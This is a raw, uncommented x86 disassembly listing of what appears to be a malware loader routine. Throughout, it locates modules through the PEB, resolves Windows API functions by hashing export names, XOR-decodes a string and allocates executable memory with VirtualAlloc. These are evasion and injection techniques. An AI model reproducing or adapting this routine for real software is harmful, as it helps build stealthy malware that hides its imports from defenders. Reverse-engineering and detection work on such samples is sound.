jmp 0x482670
jmp 0x482672
mov ecx, dword [esp + 0x96c]
mov edx, dword [esp + 0x95c]
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [esp + 0x194], eax
jmp 0x48269a
mov eax, dword [esp + 0x194]
mov ecx, dword [esp + 0x9a4]
mov edx, dword [ecx + 0x34]
mov ecx, esp
mov dword [ecx + 4], edx
mov dword [ecx], 0xffffffff
call eax
sub esp, 8
jmp 0x4826bd
mov eax, esp
lea ecx, [esp + 0x921]
mov dword [eax], ecx
lea ecx, [esp + 0x922]
call fcn.00486de0
sub esp, 4
jmp 0x4826d9
lea eax, [esp + 0x932]
mov dword [esp + 0xb84], eax
lea eax, [esp + 0x922]
mov dword [esp + 0xb80], eax
lea eax, [esp + 0x157c]
mov dword [esp + 0x1584], eax
mov eax, dword [esp + 0x1584]
mov dword [esp + 0x15e0], 0x30
mov ecx, dword [esp + 0x15e0]
mov ecx, dword fs:[ecx]
mov dword [esp + 0x15dc], ecx
mov ecx, dword [esp + 0x15dc]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov dword [eax], ecx
mov eax, dword [esp + 0x157c]
mov eax, dword [eax + 0x18]
lea ecx, [esp + 0x1570]
mov dword [esp + 0x1594], ecx
mov dword [esp + 0x1590], eax
mov eax, dword [esp + 0x1594]
mov ecx, dword [esp + 0x1590]
mov dword [eax], ecx
mov ecx, dword [esp + 0x1590]
mov dword [esp + 0x15e4], ecx
mov ecx, dword [esp + 0x15e4]
mov edx, dword [esp + 0x15e4]
mov edx, dword [edx + 0x3c]
mov esi, dword [ecx + edx + 0x78]
mov dword [esp + 0x1588], esi
mov ecx, dword [ecx + edx + 0x7c]
mov dword [esp + 0x158c], ecx
mov ecx, dword [esp + 0x1590]
add ecx, dword [esp + 0x1588]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x158c]
mov dword [eax + 8], ecx
lea eax, [esp + 0x1570]
mov dword [esp + 0x1598], eax
mov ecx, dword [esp + 0x1598]
mov eax, dword [ecx + 4]
cmp eax, dword [ecx]
je 0x482968
lea eax, [esp + 0x1570]
mov dword [esp + 0x159c], eax
mov eax, dword [esp + 0x159c]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov dword [esp + 0x156c], eax
mov eax, dword [esp + 0x156c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 0x156c], ecx
cmp eax, 0
je 0x482966
mov eax, dword [esp + 0x156c]
lea ecx, [esp + 0x1570]
mov dword [esp + 0x15b4], ecx
mov dword [esp + 0x15b0], eax
mov eax, dword [esp + 0x15b4]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x20]
mov eax, ecx
add eax, edx
mov edx, dword [esp + 0x15b0]
mov eax, dword [eax + edx*4]
add ecx, eax
mov dword [esp + 0x15bc], 0x90b3fca9
mov dword [esp + 0x15b8], 0x9be32e89
mov eax, dword [esp + 0x15bc]
mov dword [esp + 0x15ac], ecx
mov dword [esp + 0x15a8], eax
mov eax, dword [esp + 0x15a8]
mov dword [esp + 0x15a4], eax
mov eax, dword [esp + 0x15ac]
mov ecx, eax
add ecx, 1
mov dword [esp + 0x15ac], ecx
mov al, byte [eax]
mov byte [esp + 0x15a3], al
cmp byte [esp + 0x15a3], 0
je 0x482939
mov ecx, dword [esp + 0x15a4]
mov al, byte [esp + 0x15a3]
mov dword [esp + 0x15ec], ecx
mov byte [esp + 0x15eb], al
mov eax, dword [esp + 0x15ec]
mov dword [esp + 0x190], eax
movsx eax, byte [esp + 0x15eb]
cmp eax, 0x41
jl 0x482908
movsx eax, byte [esp + 0x15eb]
cmp eax, 0x5a
jg 0x482908
movsx eax, byte [esp + 0x15eb]
or eax, 0x20
mov dword [esp + 0x18c], eax
jmp 0x482917
movsx eax, byte [esp + 0x15eb]
mov dword [esp + 0x18c], eax
mov eax, dword [esp + 0x190]
mov ecx, dword [esp + 0x18c]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [esp + 0x15a4], eax
jmp 0x482886
mov eax, dword [esp + 0x15a4]
mov dword [esp + 0x15c4], 0x90b3fca9
mov dword [esp + 0x15c0], 0x9be32e89
mov ecx, dword [esp + 0x15c0]
cmp eax, ecx
je 0x482996
jmp 0x4827f6
jmp 0x482968
lea eax, [esp + 0x157c]
mov dword [esp + 0x15d8], eax
mov eax, dword [esp + 0x15d8]
mov ecx, dword [eax]
mov dword [esp + 0x15f0], ecx
mov ecx, dword [esp + 0x15f0]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x482735
mov eax, dword [esp + 0x156c]
lea ecx, [esp + 0x1570]
mov dword [esp + 0x15d4], ecx
mov dword [esp + 0x15d0], eax
mov eax, dword [esp + 0x15d4]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x1c]
mov dword [esp + 0x15cc], ecx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x24]
mov dword [esp + 0x15c8], ecx
mov eax, dword [eax]
mov ecx, dword [esp + 0x15cc]
mov edx, dword [esp + 0x15c8]
mov esi, dword [esp + 0x15d0]
movzx edx, word [edx + esi*2]
add eax, dword [ecx + edx*4]
mov dword [esp + 0x1580], eax
mov eax, dword [esp + 0x1580]
mov dword [esp + 0x184], eax
mov eax, dword [esp + 0xb80]
mov dword [esp + 0xc00], eax
mov eax, dword [esp + 0xc00]
mov dword [esp + 0xc64], eax
mov eax, dword [esp + 0xc64]
mov dword [esp + 0x188], eax
mov dword [esp + 0xcb8], eax
mov eax, dword [esp + 0xcb8]
movsx eax, byte [eax + 0xf]
cmp eax, 0
je 0x482ac6
mov eax, dword [esp + 0x188]
mov dword [esp + 0xd6c], eax
mov dword [esp + 0xd68], eax
mov eax, dword [esp + 0xd6c]
mov dword [esp + 0x180], eax
mov dword [esp + 0xd64], 0
cmp dword [esp + 0xd64], 0x10
jge 0x482ac4
mov eax, dword [esp + 0x180]
mov ecx, dword [esp + 0xd68]
mov edx, dword [esp + 0xd64]
movsx ecx, byte [ecx + edx]
xor ecx, 0xffffffc4
xor ecx, 0xc2
mov dl, cl
mov ecx, dword [esp + 0xd64]
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xd64]
add eax, 1
mov dword [esp + 0xd64], eax
jmp 0x482a79
jmp 0x482ac6
mov eax, dword [esp + 0x184]
mov edx, dword [esp + 0x188]
mov ecx, esp
mov dword [ecx], edx
call eax
sub esp, 4
jmp 0x482adf
jmp 0x482ae1
mov ecx, dword [esp + 0x9c0]
mov eax, dword [esp + 0x9a4]
mov edx, dword [eax + 0x50]
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 0xc], 0x40
mov dword [eax + 8], 0x3000
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [esp + 0x17c], eax
jmp 0x482b1a
mov eax, dword [esp + 0x17c]
mov dword [esp + 0x9c4], eax
cmp dword [esp + 0x9c4], 0
jne 0x483a22
cmp dword [esp + 0x984], 0
jne 0x482f76
mov eax, esp
lea ecx, [esp + 0x90f]
mov dword [eax], ecx
lea ecx, [esp + 0x910]
call fcn.00486e40
sub esp, 4
jmp 0x482b60
lea eax, [esp + 0x920]
mov dword [esp + 0xb8c], eax
lea eax, [esp + 0x910]
mov dword [esp + 0xb88], eax
lea eax, [esp + 0x1604]
mov dword [esp + 0x160c], eax
mov eax, dword [esp + 0x160c]
mov dword [esp + 0x1668], 0x30
mov ecx, dword [esp + 0x1668]
mov ecx, dword fs:[ecx]
mov dword [esp + 0x1664], ecx
mov ecx, dword [esp + 0x1664]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov dword [eax], ecx
mov eax, dword [esp + 0x1604]
mov eax, dword [eax + 0x18]
lea ecx, [esp + 0x15f8]
mov dword [esp + 0x161c], ecx
mov dword [esp + 0x1618], eax
mov eax, dword [esp + 0x161c]
mov ecx, dword [esp + 0x1618]
mov dword [eax], ecx
mov ecx, dword [esp + 0x1618]
mov dword [esp + 0x166c], ecx
mov ecx, dword [esp + 0x166c]
mov edx, dword [esp + 0x166c]
mov edx, dword [edx + 0x3c]
mov esi, dword [ecx + edx + 0x78]
mov dword [esp + 0x1610], esi
mov ecx, dword [ecx + edx + 0x7c]
mov dword [esp + 0x1614], ecx
mov ecx, dword [esp + 0x1618]
add ecx, dword [esp + 0x1610]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x1614]
mov dword [eax + 8], ecx
lea eax, [esp + 0x15f8]
mov dword [esp + 0x1620], eax
mov ecx, dword [esp + 0x1620]
mov eax, dword [ecx + 4]
cmp eax, dword [ecx]
je 0x482def
lea eax, [esp + 0x15f8]
mov dword [esp + 0x1624], eax
mov eax, dword [esp + 0x1624]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov dword [esp + 0x15f4], eax
mov eax, dword [esp + 0x15f4]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 0x15f4], ecx
cmp eax, 0
je 0x482ded
lea eax, [esp + 0x1604]
mov dword [esp + 0x1660], eax
mov eax, dword [esp + 0x1660]
mov ecx, dword [eax]
mov dword [esp + 0x1678], ecx
mov ecx, dword [esp + 0x1678]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x482bbc
movsx eax, byte [0x4f500a]
mov dword [esp + 0x160], eax
call fcn.00434770
mov byte [esp + 0x167], al
jmp 0x482f92
mov eax, dword [esp + 0x160]
mov cl, byte [esp + 0x167]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x158], eax
call fcn.00434780
mov byte [esp + 0x15f], al
jmp 0x482fba
mov eax, dword [esp + 0x158]
mov cl, byte [esp + 0x15f]
movsx ecx, cl
movsx edx, byte [0x4f62ec]
imul ecx, edx
lea ecx, [ecx + ecx*2]
lea eax, [eax + ecx*2]
mov dword [esp + 0x150], eax
call fcn.00434790
mov byte [esp + 0x157], al
jmp 0x482ff0
mov eax, esp
lea ecx, [esp + 0x8eb]
mov dword [eax], ecx
lea ecx, [esp + 0x8ec]
call fcn.00486f00
sub esp, 4
jmp 0x483a3e
lea eax, [esp + 0x8fc]
mov dword [esp + 0xb9c], eax
lea eax, [esp + 0x8ec]
mov dword [esp + 0xb98], eax
lea eax, [esp + 0x1714]
mov dword [esp + 0x171c], eax
mov eax, dword [esp + 0x171c]
mov dword [esp + 0x1778], 0x30
mov ecx, dword [esp + 0x1778]
mov ecx, dword fs:[ecx]
mov dword [esp + 0x1774], ecx
mov ecx, dword [esp + 0x1774]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov dword [eax], ecx
mov eax, dword [esp + 0x1714]
mov eax, dword [eax + 0x18]
lea ecx, [esp + 0x1708]
mov dword [esp + 0x172c], ecx
mov dword [esp + 0x1728], eax
mov eax, dword [esp + 0x172c]
mov ecx, dword [esp + 0x1728]
mov dword [eax], ecx
mov ecx, dword [esp + 0x1728]
mov dword [esp + 0x177c], ecx
mov ecx, dword [esp + 0x177c]
mov edx, dword [esp + 0x177c]
mov edx, dword [edx + 0x3c]
mov esi, dword [ecx + edx + 0x78]
mov dword [esp + 0x1720], esi
mov ecx, dword [ecx + edx + 0x7c]
mov dword [esp + 0x1724], ecx
mov ecx, dword [esp + 0x1728]
add ecx, dword [esp + 0x1720]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x1724]
mov dword [eax + 8], ecx
lea eax, [esp + 0x1708]
mov dword [esp + 0x1730], eax
mov ecx, dword [esp + 0x1730]
mov eax, dword [ecx + 4]
cmp eax, dword [ecx]
je 0x483ccd
lea eax, [esp + 0x1708]
mov dword [esp + 0x1734], eax
mov eax, dword [esp + 0x1734]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov dword [esp + 0x1704], eax
mov eax, dword [esp + 0x1704]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 0x1704], ecx
cmp eax, 0
je 0x483ccb
mov eax, dword [esp + 0x1704]
lea ecx, [esp + 0x1708]
mov dword [esp + 0x174c], ecx
mov dword [esp + 0x1748], eax
mov eax, dword [esp + 0x174c]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x20]
mov eax, ecx
add eax, edx
mov edx, dword [esp + 0x1748]
mov eax, dword [eax + edx*4]
add ecx, eax
mov dword [esp + 0x1754], 0x4506d709
mov dword [esp + 0x1750], 0x1bb548e9
mov eax, dword [esp + 0x1754]
mov dword [esp + 0x1744], ecx
mov dword [esp + 0x1740], eax
mov eax, dword [esp + 0x1740]
mov dword [esp + 0x173c], eax
mov eax, dword [esp + 0x1744]
mov ecx, eax
add ecx, 1
mov dword [esp + 0x1744], ecx
mov al, byte [eax]
mov byte [esp + 0x173b], al
cmp byte [esp + 0x173b], 0
je 0x483c9e
jmp 0x483ccd
lea eax, [esp + 0x1714]
mov dword [esp + 0x1770], eax
mov eax, dword [esp + 0x1770]
mov ecx, dword [eax]
mov dword [esp + 0x1788], ecx
mov ecx, dword [esp + 0x1788]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x483a9a